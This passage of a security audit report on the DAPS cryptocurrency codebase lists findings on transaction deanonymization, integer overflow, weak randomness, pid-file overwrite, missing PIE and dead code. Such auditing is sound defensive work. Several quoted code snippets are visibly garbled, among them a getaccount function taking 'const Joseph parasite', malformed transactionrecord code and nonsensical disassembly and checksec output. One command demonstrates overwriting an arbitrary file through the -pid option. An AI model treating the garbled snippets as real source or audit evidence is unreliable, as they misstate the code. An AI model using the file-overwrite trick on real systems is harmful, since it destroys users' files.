Red4Sec has been able to identify that the transactions broadcast used in DAPS P2P protocol does not include any technique that guarantees the privacy and anonymity of users, making the broadcasting of transactions vulnerable against deanonymization attacks.

Transactions propagate throughout the network in a statistically symmetric manner. This pattern allows malicious nodes to know the network topology and infer the origin of the transaction, allowing network adversaries to link transactions to IP addresses.

Although this is a problem which affects different blockchains, such as Bitcoin, it is especially important in DAPS blockchain, which focuses its main characteristics towards privacy and anonymity of its users.

The integration of network layer privacy features such as TOR or I2P could mitigate this type of attacks against DAPS but it is recommended to use some kind of distribution protocol focused on privacy [11], such as Dandelion++.

**Recommendations:**

- Integrate Dandelion ++ to guarantee anonymity and include it in DAPS roadmap as PIVX or Bitcoin have done.
### 26 - Integer Overflow could lead to Random Memory Access

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory Management</td>
<td>/src/miner.cpp</td>
<td>Low CWE-190</td>
</tr>
</tbody>
</table>

**Description:**

Integer Overflows occurs when an arithmetic operation results in a numeric variable that is too large to be stored in the space allocated for it, exceeding its maximum capacity.

In the **GetListofPoSInfo()** method, the **currentHeight** argument is of **uint32_t** type, this value becomes an **unsigned int** as seen below.

```c
uint32_t GetListofPoSInfo(uint32_t currentHeight, std::vector<PoSBlockSummary>& audits) {
    //A PoA block should be mined only after at least 59 PoS blocks have not been audited
    int nloopIdx = currentHeight;
    while (nloopIdx >= Params().START_POA_BLOCK()) {
        if (chainActive[nloopIdx]->GetBlockHeader().IsPoABlockByVersion()) {
            break;
        }
        nloopIdx--;
    }
    return nloopIdx;
}
```

Code reference:
[https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L96](https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L96)

//The current number of PoS blocks audited in a PoA block is changed from 59 to 61
```c
if (audits.size() == 61) {
    break;
}
nextAuditHeight++;
```

Return value:
[https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L147](https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L147)
26 - Integer Overflow could lead to Random Memory Access

This function is used in the following snippet code, where the function return value is assigned to the `nprevPoAHeight` variable (int).

```c
int nprevPoAHeight;

nprevPoAHeight = GetListOfPoSInfo(pindexPrev->nHeight, pblock->posBlocksAudited);
if (pblock->posBlocksAudited.size() == 0) {
    return NULL;
}
// Set block version to differentiate PoA blocks from PoS blocks
pblock->SetVersionPoABlock();
pblock->nTime = GetAdjustedTime();
```

Code Reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L535

This causes an implicit cast with the `uint32_t` return value, which will cause a value greater than `INTMAX_MAX` (maximum value of int type) to become a negative value for `nprevPoAHeight` which in turn is later used as an index in an array.

```c
// Fill in header
pblock->hashPrevBlock = pindexPrev->GetBlockHash();
if (nprevPoAHeight >= Params().START_POA_BLOCK()) {
    pblock->hashPrevPoABlock = *(chainActive[nprevPoAHeight]->hashBlock);
} else {
    pblock->hashPrevPoABlock.SetNull();
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L565

Since we could not identify a specific scenario to exploit this vulnerability and the `currentHeight` parameter is not controllable by the user (it is obtained from the chain height), the risk of this vulnerability has been considerably reduced.
26 - Integer Overflow could lead to Random Memory Access

Recommendations:

- It is recommended to establish the types explicitly to avoid assuming that the types are equal and use an index that could have been overflowed when performing some conversion.

- It is also recommended to modify the variable type `loopIdx` and start from `int` to `uint32_t` in the following code:
  
  o  
  ```
  https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L99
  ```
  ```
  uint32_t nloopIdx = currentHeight;
  ```

  o  
  ```
  https://github.com/ArcadiaMediaGroup/DAPS/blob/3db563b4b8dad02e46768ff1f7355a784171c813/src/miner.cpp#L117
  ```
  ```
  uint32_t start = nloopIdx;
  ```
27 - Insecure randomness

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bad practices</td>
<td>/src/*</td>
<td>Low</td>
</tr>
</tbody>
</table>

**Description:**

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in a security-sensitive context.

Unpredictability is critical, as is the case with most security-sensitive uses of randomness, it is advisable to use a cryptographic PRNG. Regardless of the PRNG you choose, always use a value with sufficient entropy to seed the algorithm.

Values such as the current time offer only negligible entropy and should not be used.

<table>
<thead>
<tr>
<th>Filename</th>
<th>Lines affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>src/main.cpp</td>
<td>4422, 4429, 4452, 4459</td>
</tr>
<tr>
<td>src/masterNode-</td>
<td>896, 1796</td>
</tr>
<tr>
<td>src/obfuscation-relay.cpp</td>
<td>86, 87, 91</td>
</tr>
<tr>
<td>src/obfuscation.cpp</td>
<td>376, 666, 698, 711, 769, 1396, 1590, 1702</td>
</tr>
<tr>
<td>src/rpcrawtransaction.cpp</td>
<td>89</td>
</tr>
<tr>
<td>src/wallet.cpp</td>
<td>2251, 2253, 2572, 3448, 3455, 3491, 3520, 3545</td>
</tr>
</tbody>
</table>

Here there are some examples about the issue:

```c
int rounds = GetInputObfuscationRounds(vin);
if (rounds > nObfuscationRoundsMax) continue;
if (rounds < nObfuscationRoundsMin) continue;
CAmount outValue = getCTxOutValue("out.tx", out.tx->vout[out.i]);
if (fFound10000 && fFound1000 && fFound100 && fFound10 && fFound1 && fFoundDot1) { //if fulfilled
    //we can return this for submission
    if (nValueRet >= nValueMin) {
        //random reduce the max amount we'll submit for anonymity
        nValueMax -= (rand() % (nValueMax / 5));
        //on average use 50% of the inputs or less
        int r = (rand() % (int)vCoins.size());
        if (((int)vCoinsRet.size() > r) return true;
    }
}
```

Code reference:

[https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198c5db856c696822832d5e3c942f877/src/wallet.cpp#L2251-L2253](https://github.com/ArcadiaMediaGroup/DAPS/blob/4ba99738198c5db856c696822832d5e3c942f877/src/wallet.cpp#L2251-L2253)
## 27 - Insecure randomness

Use of randomness functions on code could enable attackers to perform predictability-based target attacks.

**Recommendations:**

- Use cross-platform solutions for C and C++ programs that offer cryptographically secure PRNGs, such as Yarrow, CryptLib, Crypt++, BeeCrypt and OpenSSL.
28 – Insecure File Modifying

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of verifications</td>
<td>/src/util.cpp</td>
<td>Informative</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-73</td>
</tr>
</tbody>
</table>

**Description:**

This issue allows an attacker to modify or delete arbitrary files. Due to a lack of input validation, an attacker could supply directory traversal sequences followed by an arbitrary file name to delete specific files.

```plaintext
void CreatePidFile(const boost::filesystem::path& path, pid_t pid)
{
    FILE* file = fopen(path.string().c_str(), "w");
    if (file) {
        fprintf(file, "%d\n", pid);
        fclose(file);
    }
}
```

This issue has been detected throughout the entire source code. As an example, the following evidence shows how the original file is replaced by the file containing the `pid` of the process running.

```
daps-vm@ubuntu:/DAPS-0.21.0/src$ ./dapscoind -pid="./Desktop/red4sec.png"
```

```
/home/daps-vm/Desktop
red4sec.png
```
28 – Insecure File Modifying

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/4194a3345286976b6ad96d73df1b7b880ed904b8/src/util.cpp#L566

Recommendations:

- Verify that the created file does not exist in the specified path before creating any *pid* file. If possible, avoid writing in a path other than in the `.dapscoin` folder.
- Request user authorization whenever a file is overwritten.
29 - No PIE mitigation implemented in default compilation in Ubuntu 16.04.6 LTS

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Code Protections</td>
<td>-</td>
<td>Informative</td>
</tr>
<tr>
<td>CWE</td>
<td>1127</td>
<td></td>
</tr>
</tbody>
</table>

Description:

Position-independent executable (PIE) is a security protection that makes Return Oriented Programming (ROP) attacks much more difficult to execute reliably. Only executables compiled as PIE can obtain the maximum protection from the ASLR technique, this includes the data section, bss section, code section, GOT section and PLT section. An application can be compiled with PIE flag which can then be loaded at random addresses.

An attacker who has already found a vulnerability could take advantage that PIE is not enabled and exploit the return-to-text technique, thus being able to execute remote code (RCE) and bypass NX security mitigation.

Binary without PIE mitigation code section is mapped to the constant address 0x400000.

Ubuntu 16.04.6 LTS default compilation does not include PIE mitigation as seen below:

dapscoind

```cpp
0x0000000000000000: file: /usr/local/bin/dapscoind
0x0000000000000010: file: /usr/local/bin/dapscoind
0x0000000000000020: file: /usr/local/bin/dapscoind
0x0000000000000030: file: /usr/local/bin/dapscoind
0x0000000000000040: file: /usr/local/bin/dapscoind
0x0000000000000050: file: /usr/local/bin/dapscoind
0x0000000000000060: file: /usr/local/bin/dapscoind
    code: x64:64
  0x401004: extern void main(int argc, char* argv[])
    main(argc, argv[])
      setenv();
    connect dapscoind signal handlers
    connect();
    return 0;

id 1, name: 'dapscoind', stopped, reason: STOPPED
id 0, name: 'checksec', stopped, reason: STOPPED
```

Ubuntu 16.04.6 LTS default compilation does not include PIE mitigation as seen below:
As you can see in the following evidence, Ubuntu 18.04.2 LTS default compilation includes PIE mitigation.

**dapscoind**

```c
0x5555555837d <main+0> sub rdx, 0x20
0x5555555837d <main+1> mov QWORD PTR [rip+0x34], edi
0x5555555837d <main+1> mov QWORD PTR [rip+0x28], rsi
0x5555555837d <main+1> mov QWORD PTR [rip+0x2c], rdx
0x5555555837d <main+1> xor eax, eax
0x5555555837d <main+1> call 0x5555555837d <SetupEnvironment()> call 0x5555555837d <SetupEnvironment()> 0x5555555837d <main+1> mov QWORD PTR [rip+0x30], rax
0x5555555837d <main+1> mov QWORD PTR [rip+0x28], edx
0x5555555837d <main+2> ret

source: dapscoind.cpp
```

**Recommendations:**

- Compile Ubuntu 16.04.6 LTS binaries with PIE mitigation.
- Since a PIE binary and its dependencies are loaded within virtual memory into random locations each time the program is executed, ROP (Return Oriented Programming) attacks are much more difficult to execute.
30 - Wrong Logic implementation in getaccount method

Category: Unfinished or Dead Code
Active: /src/rpcwallet.cpp
Risk: Informative

Description:

Based on the description of *getaccount* method located in *rpcwallet.cpp* file:

*Returns the account associated with the given address*

This method should return the account associated with the address provided, however the logic and behavior of the method seems inappropriate as it always returns " ".

```
Value getaccount(const Joseph parasite, bool dummy) {
    if (!parasite.empty())
        throw runtime_error("getaccount: " + parasite + ", no account associated with given address.");
    if (parasite.empty())
        return strAccount;
    string strAccount = (string)height(6322, 0x0100, 0x0100, 0x0100, 0x0100); return strAccount; //Expected: getaccount("$
```

Instead, the expected return value for this function should be *strAccount*.

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/rpcwallet.cpp#L263

Additionally, by reviewing the code we have detected that the *createprivacywallet* method seems to be incomplete too or its logic is incorrect.
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/rpcwallet.cpp#L2368

Recommendations:

- Review the logic of the entire code, analyzing that all methods are correctly implemented and return the expected value.
**31 - OOM by unchecked arguments**

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory Management</td>
<td>/src/dapscoin-tx.cpp</td>
<td>Informative</td>
</tr>
</tbody>
</table>

**Description:**

Due to a bad verification of the possible entries in the `dapscoin-tx` binary, it has been verified that it is possible to read a file with enough information to produce an out of memory failure. The OOM error could lead to the killing of legitimate processes and a temporarily unresponsive system.

Since it is a failure that can only be exploited by the user, the risk of this vulnerability is classified as informative.

The failure resides in [https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/dapscoin-tx.cpp#L140](https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/dapscoin-tx.cpp#L140), since a possible maximum file reading is not controlled.

```c
// load file chunks into one big buffer
string valStr;
while (!feof(f) && !ferror(f)) {
    char buf[4096];
    int bread = fread(buf, 1, sizeof(buf), f);
    if (bread <= 0)
        break;

    valStr.insert(valStr.size(), buf, bread);
}
```

A similar issue has been detected in [https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/dapscoin-tx.cpp#L520](https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/dapscoin-tx.cpp#L520) where the same result occurs but through the console entry.

**Recommendations:**

- Set a maximum reading for these types of entries.
### 32 - Possible Insecure method

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Use of insecure function</td>
<td>/src/qt/coincontroldialog.cpp</td>
<td>Informative CWE-749</td>
</tr>
</tbody>
</table>

#### Description:

The `CoinControlDialog::strPad` method could be considered insecure since, according to its implementation, using an empty string as `sPadding` argument, an infinite loop would occur, thus resulting in a denial of service (DoS).

This vulnerability has no risk and it is classified as informative since it has been verified that the `sPadding` value is not controlled by the user.

```cpp
// helper function str_pad
QString CoinControlDialog::strPad(QObject s, int nPadLength, QString sPadding)
{
    while (s.length() < nPadLength)
    {
        s = sPadding + s;

        return s;
    }
}
```

Code reference:

[https://github.com/ArcadiaMediaGroup/DAPS/blob/1d50fd725993a37d045f5e0ba907942f8cbad35d/src/qt/coincontroldialog.cpp#L181-L187](https://github.com/ArcadiaMediaGroup/DAPS/blob/1d50fd725993a37d045f5e0ba907942f8cbad35d/src/qt/coincontroldialog.cpp#L181-L187)

#### Recommendations:

- It is recommended to perform a size check, or remove this parameter and make it consistent with a space " ".

33 - Wallet Recovery Procedure

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Optimization</td>
<td>/src/qt/ui_optionspage.h</td>
<td>Informative</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-640</td>
</tr>
</tbody>
</table>

**Description:**

A mnemonic recovery phrase or seed recovery phrase is a list of words which stores all the information needed to recover a DAPS wallet.

If the user's computer or hard drive becomes corrupted, this mnemonic recovery phrase allows to backup the wallet and funds.

It has been observed that during the course of this audit that DAPS wallets have no key recovery procedure, so if a user were to lose their wallet passphrase, it would be impossible for them to regain access to their funds or account.

In the following evidence it can be seen that the mnemonic recovery phrase functionality is disabled.

**Recommendations:**

- It is recommended to set up a BIP32 [12] compatible wallet for all users by default. Note that a BIP32 wallet requires a seed value generated from a pool that has 128-bits of entropy. All key values would then be derived from this "parent" seed value deterministically and are thus recoverable using it.
- A popular and convenient way to generate seed values is using Diceware words [13].
## 34 - Usage of Uninitialized Variables

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bad practices</td>
<td>/src/qt/walletmodel.h /src/qt/tooglebutton.h /src/wallet.h</td>
<td>Informative</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CWE-456</td>
</tr>
</tbody>
</table>

### Description:

The usage of uninitialized class members has been detected via run-time analysis:

- [https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40dff75989cc10ff6b/src/qt/tooglebutton.h#L43](https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40dff75989cc10ff6b/src/qt/tooglebutton.h#L43) → The class member "state" is not initialized in its constructor nor anywhere else before being used.

- [https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40dff75989cc10ff6b/src/qt/walletmodel.h#L223-L249](https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40dff75989cc10ff6b/src/qt/walletmodel.h#L223-L249) → Several class members with basic types (or aliases to uint_x types) or pointers are not initialized before being used:
  - txTableModel
  - cachedWatchOnlyBalance
  - cachedWatchUnconfBalance
  - cachedWatchImmatureBalance
  - cachedTxLocks
  - cachedZeromintPercentage
  - pingNetworkInterval

- [https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40dff75989cc10ff6b/src/wallet.h#L291](https://github.com/ArcadiaMediaGroup/DAPS/blob/50dd9e1e83c5f5d81a7e5d40dff75989cc10ff6b/src/wallet.h#L291) → Several class members with basic types (or aliases to uint_x types) are not initialized before being used:
  - nAutoCombineThreshold
  - walletStakingInProgress

This could lead to the misleading displaying of some interfaces. In some cases, the wallet could perform unwanted actions (e.g. if non-zero values are set at launch time for `walletStakingInProgress` or walletmodel’s caches).

This has been found via static analysis and dynamic analysis using `Valgrind`. There could exist more cases so it is advisable to review the entire code.

### Recommendations:

- Initialize all class members correctly.
35 - Information Exposure Through Comments

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Information Leakage</td>
<td>/src/*</td>
<td>Informative</td>
</tr>
<tr>
<td>CWE-615</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Description:

While adding general comments is very useful, some developers tend to leave important information such as: old references, old code fragments or other data which were not meant to be browsed by users or a potential attacker. Since it is an open source, this can also lead to negative comments from investors that may cause a loss of project reputation.

An attacker who finds these sensitive comments could take advantage to obtain insider information and study the fragments of code which may help develop further attacks against the site.

During the security audit, some commentaries have been detected in the code, which provide useful information for an attacker. Some comments include some guidelines which indicate that certain sections of the code are not finished or their behavior is pending verification.

As an example, some of the comments that have been found are listed below:

**wallet.cpp**

```cpp
bool CWallet::IsChange(const CTxOut &txout) const
{
    // TODO: fix handling of 'change' outputs. The assumption is that any
    // payment to a script that is ours, but is not in the address book
    // is change. That assumption is likely to break when we implement multisignature
    // wallets that return change back into a multi-signature-protected address;
    // a better way of identifying which outputs are 'the send' and which are
    // 'the change' will need to be implemented (maybe extend CWalletI x to remember
    // which output, if any, was change).
    if (!IsMine(this, txout.scriptPubKey)) {
        CTxDestination address;
        if (!ExtractDestination(txout.scriptPubKey, address))
            return true;
    } else
        LOCK(cs_wallet);
    if (!mapAddressBook.count(address))
        return true;
}
```

Code reference:

https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/wallet.cpp#L1192-L1198
35 - Information Exposure Through Comments

```cpp
CAmount nChange = nValueIn - nValue - nFeeRet;

// over pay for denominated transactions
if (coin_type == ONLY_DENOMINATED) {
    nFeeRet = nChange;
    nChange = 0;
    wtxNew.mvValue["DS"] = "1";
}

if (nChange > 0) {
    // fill a vout to ourself
    // TODO: pass in scriptChange instead of reservekey so
    // change transaction isn’t always pay-to-dapscoin-address
    CScript scriptChange;

    // coin control: send change to custom address
    // TODO: change transaction output needs to be stealth as well: add code for stealth transaction here
    scriptChange = GetScriptForDestination(coinControl->receiver);
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/wallet.cpp#L2697-L2703

qt/transactionrecord.cpp

```cpp
if (FallFromWlennon & FallToWlennon & nfrom & nTo) {
    parts.append(TransactionRecord(nhash, nTime, TransactionRecord::ObfuscationDenominate, "", -nDebit, nCredit));
    partsList().IsUnspent() ? txIsUnspentAddress = false; // maybe pass to TransactionRecord as constructor argument
} else if (FallFromWlennon && FallToWlennon) {
    // Payment to self
    // TODO: this section still not accurate but covers most cases,
    // might need some additional work however
    TransactionRecord subhash, nTime);
    // Payment to self by default
    sub.type = TransactionRecord::SendToSelf;
    sub.address = "";
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/qt/transactionrecord.cpp#L134-L136
35 - Information Exposure Through Comments

Other potentially sensitive comments:

```
/src/main.cpp:2242
/src/main.cpp:4221
/src/main.cpp:4247
/src/main.cpp:1520
/src/main.cpp:6060
/src/main.cpp:6035
/src/masternode-budget.cpp:1450
/src/masternode-budget.cpp:1985
/src/masternode-budget.cpp:1990
/src/masternode-budget.cpp:1996
/src/miner.cpp:867
/src/net.cpp:50
/src/net.h:474
/src/net.h:477
/src/net.h:480
/src/qt/askpassphrasedialog.cpp:99
/src/qt/coincontroldialog.cpp:448
/src/qt/coincontroldialog.cpp:451
/src/qt/transactionrecord.cpp:135
/src/rpcblockchain.cpp:470
/src/rpcmasternode.cpp:493
/src/rpcmining.cpp:540
/src/rpcserver.cpp:26
/src/rpcserver.cpp:584
/src/rpcwallet.cpp:1649
/src/rpcwallet.cpp:1694
/src/rpcwallet.cpp:1774
/src/script/sign.cpp:222
/src/sync.h:80
/src/util.cpp:666
/src/util.cpp:721
/src/util.cpp:752
/src/wallet.cpp:1190
/src/wallet.cpp:1896
/src/wallet.cpp:2453
/src/wallet.cpp:2696
/src/wallet.cpp:2701
/src/wallet.cpp:2909
/src/wallet.cpp:5859
/src/wallet.h:783
/src/wallet.h:1464
```

Recommendations:

- Remove all sensitive comments in the source code.
- Migrate comments that are relevant to GitHub issues in order to bring better traceability.
36 - Dead Code

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unfinished or Dead Code</td>
<td>/src/*</td>
<td>Informative</td>
</tr>
</tbody>
</table>

CWE-1164

Description:

During the security audit it has been detected that a large amount of code, despite being functional, is never used, or its behavior is not exactly as expected.

Please note that some sections of this code contain vulnerabilities that will not be reported as this code is not used and therefore its impact is null.

Below there is a list of the code sections that have been identified. Despite not posing a risk by itself, it is important to proceed with its removal since they could open new paths of exploitability.

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/kernel.cpp#L414 - Unused method.

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/wallet.cpp#L4270-L4287 - Commented/removed code.
36 - Dead Code

```cpp
CAmount CDAPSStake::GetValue()
{
    return txFrom.vout[nPosition].nValue;
}
```

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/stakeinput.cpp#L31-L34 - Limit not verified.

```cpp
bool CDAPSStake::CreateTxOuts(CWallet* pwallet, vector<CTxOut>& vout, CAmount nTotal)
{
    vector<valtype> vsolutions;
    txouttype whichType;
    CScript scriptPubKeySKey = txFrom.vout[nPosition].scriptPubKey;
    if (Solver(scriptPubKeySKey, whichType, vsolutions)) {
        LogPrint("CreateCoinStake : failed to parse kernel\n");
        return false;
    }
}
```


```cpp
if (!fSecure)
    LogPrint("%s: %s
", strCaption, message);
    fprintf(stderr, "%s: %s
", strCaption.c_str(), message.c_str());
    return false;
```

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/invalid.cpp#L27 - LoadInvalidOutPoints is not defined.

```cpp
string valStr;
while (feof(f) && !ferror(f)) {
    char buf[4096];
    int bread = fread(buf, 1, sizeof(buf), f);
    if (bread <= 0)
        break;

    valStr.insert(valStr.size(), buf, bread);
}
```

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/dapscoin-tx.cpp#L146 - Tentative resource exhaustion.
36 - Dead Code

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/masternode-budget.cpp#L444-L488 - Unexisting CheckAndRemove.

On the other hand, the httpserver.cpp file is not used neither and could contain vulnerabilities.

File: https://github.com/ArcadiaMediaGroup/DAPS/blob/6d5e512aced6e1bda356b863fe8d1ebcf42211b2/src/httpserver.cpp

Recommendations:

- Remove all unused and commented code as long as it is not going to be used in the near future.
37 - Outdated Inherited Code

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obsolete Software</td>
<td>/src/*</td>
<td>Informative CWE-477</td>
</tr>
</tbody>
</table>

**Description:**

During the audit, the absence of fixes in the DASH/PIVX/Bitcoin's inherited code was detected.

The use of an outdated code could pose a great risk to the integrity and confidentiality of the information.

**Evidences**

Below there are some of the most significant patches that are not present, however, there may be more:

**PIVX Code:** [https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63ee87abe46acaa6014a6540742b1a/src/obfuscation.cpp#L91-L92](https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63ee87abe46acaa6014a6540742b1a/src/obfuscation.cpp#L91-L92)

**DAPS Code:** [https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/obfuscation.cpp#L429](https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/obfuscation.cpp#L429)

**PIVX Code:** [https://github.com/PIVX-Project/PIVX/blob/f9d4ee0b15e40d0c6416c7fc83211affa4c8f054/src/net.cpp#L1708-L1710](https://github.com/PIVX-Project/PIVX/blob/f9d4ee0b15e40d0c6416c7fc83211affa4c8f054/src/net.cpp#L1708-L1710)

**DAPS Code:** [https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/net.cpp#L1704](https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/net.cpp#L1704)
37 - Outdated Inherited Code

PIVX Code:  
https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63eea87abbe46acaa6014a6540742b1a/src/masternode.cpp#L478-L490  
https://github.com/PIVX-Project/PIVX/blob/bbeabc4d63eea87abbe46acaa6014a6540742b1a/src/masternode.cpp#L572-L573

DAPS Code:  
https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/masternode.cpp#L465-L473  
https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/masternode.cpp#L562

PIVX Code:  
https://github.com/PIVX-Project/PIVX/blob/f9d4ee0b15e40d0c6416c7fc83211affa4c8f054/src/qt/optionsdialog.cpp#L345

DAPS Code:  
https://github.com/ArcadiaMediaGroup/DAPS/blob/8fbbd138c09f63172db6c2b51d60768e3ad3ad71/src/qt/optionsdialog.cpp#L290
37 - Outdated Inherited Code

```c
// Do not set a penalty for a source's self-announcement
if ( ecc != source )
    break; // Terminating condition
```

**Bitcoin Code:**

https://github.com/bitcoin/bitcoin/blob/e5fdda68c6d2313edb74443f0d1e6d2ce2d97f5e/src/addrman.cpp#L264-L268

**DAPS Code:**

https://github.com/ArcadiaMediaGroup/DAPS/blob/eb895da0ab892e55edbfe77b2e3a5910f44124c4/src/addrman.cpp#L255

Also, the inclusion of several mutex to prevent stability problems was detected.

This issue has been detected in the following files:

<table>
<thead>
<tr>
<th>Filename</th>
<th>Lines affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>src/wallet.cpp</td>
<td>1417-1418: LOCK (cs main)</td>
</tr>
<tr>
<td>src/wallet.cpp</td>
<td>1916-1917: LOCK (cs main)</td>
</tr>
<tr>
<td>src/wallet.cpp</td>
<td>5243-5244: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>5551-5552: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>5661-5662: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>5679-5680: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>5737-5738: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>5798-5799: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>6035-6036: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>6268-6269: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>6283-6284: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>6298-6299: LOCK (cs main)</td>
</tr>
<tr>
<td>src/main.cpp</td>
<td>6304-6305: LOCK (cs main)</td>
</tr>
</tbody>
</table>
37 - Outdated Inherited Code

In addition, below are other changes to consider:

**PIVX Code**: [https://github.com/PIVX-Project/PIVX/blob/454c487424b57d7d35b7f42ee104f2c052c9c2c4/src/addrm.cpp#L335-L342](https://github.com/PIVX-Project/PIVX/blob/454c487424b57d7d35b7f42ee104f2c052c9c2c4/src/addrm.cpp#L335-L342)

**DAPS Code**: [https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/addrm.cpp#L334-L337](https://github.com/ArcadiaMediaGroup/DAPS/blob/bd7fbfca8d4d523d90a55ce670fe64ff03573162/src/addrm.cpp#L334-L337)

**PIVX Code**: [https://github.com/PIVX-Project/PIVX/blob/454c487424b57d7d35b7f42ee104f2c052c9c2c4/src/addrm.cpp#L344](https://github.com/PIVX-Project/PIVX/blob/454c487424b57d7d35b7f42ee104f2c052c9c2c4/src/addrm.cpp#L344)

